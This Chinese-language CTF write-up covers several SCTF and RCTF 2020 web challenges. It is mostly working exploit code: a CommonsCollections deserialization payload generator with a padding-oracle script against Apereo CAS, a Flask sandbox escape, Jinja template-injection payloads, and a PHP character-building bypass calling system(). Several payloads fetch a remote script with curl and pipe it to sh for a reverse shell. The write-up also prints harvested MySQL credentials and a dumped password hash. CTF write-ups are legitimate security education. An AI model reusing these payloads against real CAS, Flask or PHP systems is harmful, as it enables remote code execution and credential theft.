sctf-2020-writeup

Web-Login Me

https://www.00theway.org/2020/01/04/apereo-cas-rce/

改了自定义key,但是这里可以用padding oracle

1
2
3
条件1:可以在后面添加额外字符,反序列化数据流读完一个对象就不继续往下读了
条件2:可控IV
条件3:解密失败和解密成功的返回不同(解密失败返回302,解密成功返回200+密码错误)

这里还有一个可控key alias,但是没有利用点

生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class GenPayload {
public static void main(String[] args) throws Exception{
Object obj = new CommonsCollections4().getObject("sh -c curl${IFS}ctf.chara.pub:1234/shell|sh");
byte[] byt2 = myencrypt(obj);
System.out.println(Arrays.toString(byt2));
FileOutputStream fos = new FileOutputStream("payloadg.class");
fos.write(byt2);
fos.close();
}
private static byte[] myencrypt(Object o) throws IOException {
ByteArrayOutputStream outBuffer = new ByteArrayOutputStream();
ObjectOutputStream out = null;

try {
if (true) {
out = new ObjectOutputStream(new GZIPOutputStream(outBuffer));
} else {
out = new ObjectOutputStream(outBuffer);
}

out.writeObject(o);
} finally {
if (out != null) {
out.close();
}

}
return outBuffer.toByteArray();
}
}

padding oracle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
import base64
#from urllib import quote, unquote
import requests
import traceback
import socket
import time
import struct

head = None #convinent
odata = None
isDoneTest = False
last_call_time = time.time()
def validate(data,r,pad):
global last_call_time
#验证数据是否正确
try:
v = r.post(sys.argv[1],data={
"lt":"LT-3-A6PzsYih5yCchDBk3q7leQb02jsQNa-cas01.example.org",
"execution":"6b38b1ef-349c-4b43-92c2-85903c2f8a35_" + data,
"username":"aaa",
"password":"aaa",
"_eventId":"submit"
},allow_redirects = False);
if(v.status_code == 503): #limit
print('limit')
time.sleep(0.1);
return validate(data);
#正常:服务器返回200(密码错误)
#错误:服务器多跳转一次302(flow解码错误)
if pad is not None:
pad.history.append(v)
if False:
print("delay=",(time.time() - last_call_time))
last_call_time = time.time()
return v.status_code == 200;
except KeyboardInterrupt as e:
raise
except:
traceback.print_exc()
time.sleep(0.5)
validate(data,r,pad)
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
#self.session.proxies = {"http":"http://192.168.3.11:4476","https":"http://192.168.3.11:4476"}
self.wait = kwargs.get('wait', 2.0)

def oracle(self, data, **kwargs):
global head,isDoneTest,odata
raw_orig = odata
send_data = head + raw_orig + data
send_data = b64encode(send_data)
if not isDoneTest:
isDoneTest = True
test_data = b64encode(head + odata)
assert validate(test_data,self.session,None);
print("validate true")
result = validate(send_data,self.session,self)
if result:
logging.info('No padding exception raised on %r:%r', time.time(),len(send_data))
logging.info(str(send_data))
return

# logging.debug("Padding exception")
raise BadPaddingException

def unpack_data(data):
#读取数据
mByteArray = base64.b64decode(data.encode())
mHeaderLength = struct.unpack(">i",mByteArray[0:4])[0]
print("header length=",mHeaderLength)
mNonceLength = struct.unpack(">i",mByteArray[4:8])[0]
print("nonce length=",mNonceLength)
mNonce = mByteArray[8:8+mNonceLength]
print("nonce =",",".join(str(ord(i)) for i in mNonce))
mKeyNameLength = struct.unpack(">i",mByteArray[8+mNonceLength:8+mNonceLength+4])[0]
print("keyname length=",mKeyNameLength)
mKeyName = mByteArray[8+mNonceLength+4:8+mNonceLength+4+mKeyNameLength]
print("keyname=",mKeyName)
mData = mByteArray[mHeaderLength:]
print("data length=",len(mData));
print("data length% 16=",(len(mData)) % 16);
mData = bytearray(mData);
return (mNonce,mKeyName,mData,mByteArray[0:mHeaderLength])#iv,keyname,data,head

if __name__ == '__main__':
import logging
import sys

if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)
#url
sys.argv[1] = "http://120.24.35.104:8080/login?service=http%3A%2F%2F120.24.35.104%3A8888%2F"
#cookie from server
sys.argv[2] = "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"
#my target
#不能这么写,这么写是吧加密密文再换密了
#sys.argv[3] = ""
#sys.argv[3] = base64.b64decode(sys.argv[3])

logging.basicConfig(level=logging.DEBUG)
#logging.basicConfig(level=logging.INFO)
logging.getLogger("urllib3").setLevel(logging.WARNING)
encrypted_cookie = b64decode(sys.argv[2])

padbuster = PadBuster()

#payload = b64decode(sys.argv[3])
#print("read my cookie")
#payload = unpack_data(sys.argv[3])[3]
payload = open("payloadg.class","rb").read()
print("read server cookie")
info = unpack_data(sys.argv[2])
head = info[3]
odata = info[2]
enc = padbuster.encrypt(plaintext=payload, block_size=16,iv=info[0])
####
#数据少的时候,要取enc[16:32]
#但是数据多了以后,就变成取enc[0:16]
#别问我为什么,我也不懂crypto
head = head[:8] + enc[0:16] + head[16+8:] #控制iv
result = head + enc[16:]
print('cookies:')
print(b64encode(result))

跑本地大概要20分钟,跑远程大概200分钟

getshell的反序列化对象:

1
2
5e2471fb-8e19-487f-837a-
fcf4a087cac9_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

getshell以后,查看配置文件得到mysql路径和密码,映射访问得到用户密码,查md5表,在cas直接登录

1
2
3
4
5
6
0.2有nginx 0.4有mysql 0.3是本机class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName" value="com.mysql.jdbc.Driver" />
<property name="url" value="jdbc:mysql://172.19.0.4/cas" />
<property name="username" value="cas" />
<property name="password" value="8trR3Qxp" />
</bean>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[email protected]:/tmp# proxychains mysql -ucas -p8trR3Qxp -h172.19.0.4 
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-:20888-<><>-172.19.0.4:3306-<><>-OK
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 5.7.30 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show tables;
ERROR 1046 (3D000): No database selected
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| cas |
+--------------------+
2 rows in set (0.085 sec)

MySQL [(none)]> use cas;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [cas]> show tables;
+---------------+
| Tables_in_cas |
+---------------+
| sso_t_user |
+---------------+
1 row in set (0.084 sec)

MySQL [cas]> select * from sso_t_user;
+----+--------------------------------------+----------------------------------+
| id | login_name | password |
+----+--------------------------------------+----------------------------------+
| 1 | 04bbbbcb-39e7-466c-8d3a-4c716e8802fd | 55f21708c44caa0574e049521940bdfc |
+----+--------------------------------------+----------------------------------+
1 row in set (0.084 sec)

MySQL [cas]>
1
2
04bbbbcb-39e7-466c-8d3a-4c716e8802fd
[email protected]

image-20200706092110218

1
SCTF{55d4aaf1-bd11-4660-92b9-7a644e53315f}

Web-pythonsandbox

image-20200706092213257

Web-pythonsandbox2

执行的路径:

1
2
3
4
5
6
7
8
#把static的参数名称改成command
app.url_map._rules[0].rule = "/static/<command>"
#因为新建正则需要括号,找一个方法调用static的路由的compile方法,让他生成一个新的正则
app.view_functions['security']=app.url_map._rules[0].compile
##从哪个包里找到os
app.view_functions['static']=app.config.__class__.__init__.__globals__['os'].system
#然后依次post /,get /static/getshell指令编码后
#getshell指令不能带/
1
2
3
http://39.104.90.30:10000/?POST=/static/<command>securitystaticos
cmd=a=request.args[request.method];app.url_map._rules[1].rule=a[:17];app.view_functions[a[17:25]]=app.url_map._rules[1].compile;app.view_functions[a[25:31]]=app.config.__class__.__init__.__globals__[a[31:]].system
http://39.104.90.30:10000/static/curl$IFS$9ctf.chara.pub:1234%7Csh

image-20200706092415172

image-20200706092403109

Web-Jsonhub

web1:

注册处属性注入,使自己的账号是staff和superuser,可以访问/admin。

1
{"username":"115","password":"115","is_staff":1,"is_superuser":1}

访问/admin登录得到token。

1
3ad9af405504233188f694a11ff22115

/rpc路由可以打内网,但是需要来自127.0.0.1,找302跳转。

1
2
3
4
5
6
7
8
9
10
11
12
#这个和解法无关,但也是一个能Location的东西
http://39.104.19.182/admin/r/0/%2e%2e%2f%2e%2e%2f%2e%2e 可以跳当前网站下的路径 因为是..
#这一个%2e和%2f直接换不行
http://host//admin 会302到//admin/
#但只对存在的路由

http://39.104.19.182//%2e/rpc HTTP/1.1
Location: //./rpc/

http://39.104.19.182//127%2e0.0.1:8000/rpc HTTP/1.1
Location: //127.0.0.1:8000/rpc/
#%2e直接换成.也可以
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding:utf-8


headers = {
"Cookie":"csrftoken=tHY3jlpEez6c2WZjeBLPTRW1gDx3lhQlujiaIBkvIm3MFRH5QEUscebKhT2zInQA; sessionid=z37vwamrl4mw8wq6tiic75eh7aeljkyf"}
url = "http%3A%2F%2F127.0.0.1%3A5000%2Fcaculator"
import requests
import base64
import sys
r = requests.Session()


def main(i):
#payload = sys.argv[1] #stupid cmd
payload = "().__class__.__bases__[0].__subclasses__()[%d+1].__init__.__globals__.__builtins__['__import__']('os').system('curl http://ctf.chara.pub/ctf/shell|sh')" % i
argt = '{"num1":"1{","num2":"}2","symbols":"{%s}"}' % payload
print(argt)
#arg = sys.argv[1]
arg = argt
arg = base64.b64encode(arg.encode()).decode()
#print(arg)
t=requests.post("http://39.104.19.182/home/",headers=headers,json={
"token":"3ad9af405504233188f694a11ff22115",
"url":"http://39.104.19.182//127%2e0.0.1:8000/rpc?methods=POST&data="+arg+"&url="+url}).text
if '500 Internal Server Error' not in t:
print(i,t)
input()
for i in range(63,64):
main(i)

web2:

/calculator处存在ssti,

num1和num2不能有字母,symbols必须有+/-*之一

使用\u编码或者'{"num1":"1{","num2":"}2","symbols":"{百分号s}"}' % payload分散括号来绕过。

1
{"num1":"1{","num2":"}2","symbols":"{().__class__.__bases__[0].__subclasses__()[63+1].__init__.__globals__.__builtins__['__import__']('os').system('curl http://ctf.chara.pub/ctf/shell|sh')}"}

image-20200706092747987

RCTF 2020 部分题目Writeup

web4 Calc

利用((1/0).(0))得到INF0,(1-9的数字).(0))得到1-90,使用{位置}进行字符串截取,使用各个字符串进行|和&操作得到各种字符,然后就是拼接字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#得到字符脚本
chrs = "INF0123456789-."
result = list(chrs)
recipes = [
];
null = None
recipes.append({"char":"I","first":null,"second":null,"method":null,"make":"(((1/0).(0)){0})"});
recipes.append({"char":"N","first":null,"second":null,"method":null,"make":"(((1/0).(0)){1})"});
recipes.append({"char":"F","first":null,"second":null,"method":null,"make":"(((1/0).(0)){2})"});
recipes.append({"char":"0","first":null,"second":null,"method":null,"make":"(((0).(0)){0})"});
recipes.append({"char":"1","first":null,"second":null,"method":null,"make":"(((1).(0)){0})"});
recipes.append({"char":"2","first":null,"second":null,"method":null,"make":"(((2).(0)){0})"});
recipes.append({"char":"3","first":null,"second":null,"method":null,"make":"(((3).(0)){0})"});
recipes.append({"char":"4","first":null,"second":null,"method":null,"make":"(((4).(0)){0})"});
recipes.append({"char":"5","first":null,"second":null,"method":null,"make":"(((5).(0)){0})"});
recipes.append({"char":"6","first":null,"second":null,"method":null,"make":"(((6).(0)){0})"});
recipes.append({"char":"7","first":null,"second":null,"method":null,"make":"(((7).(0)){0})"});
recipes.append({"char":"8","first":null,"second":null,"method":null,"make":"(((8).(0)){0})"});
recipes.append({"char":"9","first":null,"second":null,"method":null,"make":"(((9).(0)){0})"});
recipes.append({"char":"-","first":null,"second":null,"method":null,"make":"(((-10).(0)){0})"});
recipes.append({"char":".","first":null,"second":null,"method":null,"make":"(((1.1).(0)){1})"});

loop = 0;
while loop < 20:
loop+=1
for i in result:
for j in result:
k = chr(ord(i)|ord(j))
if k not in result and 1<=ord(k)<=256:
result.append(k);
recipe = {"char":k,"first":i,"second":j,"method":"|"}
recipes.append(recipe)
print "%s=(%s%s%s)" % (recipe['char'],recipe['first'],recipe['method'],recipe['second'])
print(result)
for i in result:
for j in result:
k = chr(ord(i)&ord(j))
if k not in result and 1<=ord(k)<=256:
result.append(k);
recipe = {"char":k,"first":i,"second":j,"method":"&"}
recipes.append(recipe)
print "%s=(%s%s%s)" % (recipe['char'],recipe['first'],recipe['method'],recipe['second'])
print(result)

def findRecipe(i):
if i not in result:
raise Exception(i);
for recipe in recipes:
if recipe['char'] == i:
return recipe;
def makeRecipe(recipe):
if recipe['method'] == null:
return recipe['make'];
else:
first = recipe['first'];
second = recipe['second'];
method = recipe['method'];
first = makeRecipe(findRecipe(first));
second = makeRecipe(findRecipe(second));
print "%s=(%s%s%s)" % (recipe['char'],first,method,second)
return "(%s%s%s)" % (first,method,second)

#填写要拼的字符串
target = 'phpinfo';
result1="";
for i in target:
if i not in result:
raise Exception(i);
for recipe in recipes:
if recipe['char'] == i:
result1+=makeRecipe(recipe);
result1+=".";
break;
print(result1);
1
2
3
4
5
#system()
((((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){0})|(((0).(0)){0})).(((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){0})|(((-10).(0)){0})))()

#system(end(getallheaders()))
((((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){0})|(((0).(0)){0})).(((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){0})|(((-10).(0)){0})))(((((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).((((1/0).(0)){1})|(((1.1).(0)){1})).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))))(((((((1/0).(0)){0})|(((1.1).(0)){1}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&(((((1/0).(0)){0})|(((0).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0})))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){1})|(((1.1).(0)){1}))).(((((1/0).(0)){0})|(((4).(0)){0}))&((((1/0).(0)){1})|(((1.1).(0)){1}))).(((((1/0).(0)){0})|(((0).(0)){0}))&((((1/0).(0)){1})|(((1.1).(0)){1}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&(((((1/0).(0)){0})|(((0).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0})))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((-10).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))).(((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((0).(0)){0}))).(((((1/0).(0)){0})|(((2).(0)){0}))&((((1/0).(0)){2})|(((1).(0)){0}))))()))

机器不出网,离线/readflag。

1
2
3
4
5
6
7
8
9
10
11
12
13
//<?php

$d = array(array("pipe", "r"),array("pipe", "w"),array("pipe", "w"));
$p = proc_open('/readflag', $d, $pipes, '/');
if (is_resource($p)) {
//fwrite($pipes[0], "y\n");fwrite($pipes[0], "y\n");
$t = fgets($pipes[1]);
echo $t;
$t = fgets($pipes[1]);
echo $t;
fwrite($pipes[0], eval("return ".$t.";")."\n");
echo stream_get_contents($pipes[1]);
}
1
2
3
4
5
6
7
8
9
10
GET http://124.156.140.90:8081/calc.php?num=((((((1%2F0).(0))%7B0%7D)%7C(((2).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).((((1%2F0).(0))%7B0%7D)%7C(((0).(0))%7B0%7D)).(((((1%2F0).(0))%7B0%7D)%7C(((2).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((4).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D)))(((((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).((((1%2F0).(0))%7B1%7D)%7C(((1.1).(0))%7B1%7D)).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))))(((((((1%2F0).(0))%7B0%7D)%7C(((1.1).(0))%7B1%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((4).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26(((((1%2F0).(0))%7B0%7D)%7C(((0).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D)))).(((((1%2F0).(0))%7B0%7D)%7C(((4).(0))%7B0%7D))%26((((1%2F0).(0))%7B1%7D)%7C(((1.1).(0))%7B1%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((4).(0))%7B0%7D))%26((((1%2F0).(0))%7B1%7D)%7C(((1.1).(0))%7B1%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((0).(0))%7B0%7D))%26((((1%2F0).(0))%7B1%7D)%7C(((1.1).(0))%7B1%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26(((((1%2F0).(0))%7B0%7D)%7C(((0).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D)))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((-10).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((2).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((0).(0))%7B0%7D))).(((((1%2F0).(0))%7B0%7D)%7C(((2).(0))%7B0%7D))%26((((1%2F0).(0))%7B2%7D)%7C(((1).(0))%7B0%7D))))())) HTTP/1.1
Host: 124.156.140.90:8081
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://124.156.140.90:8081/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
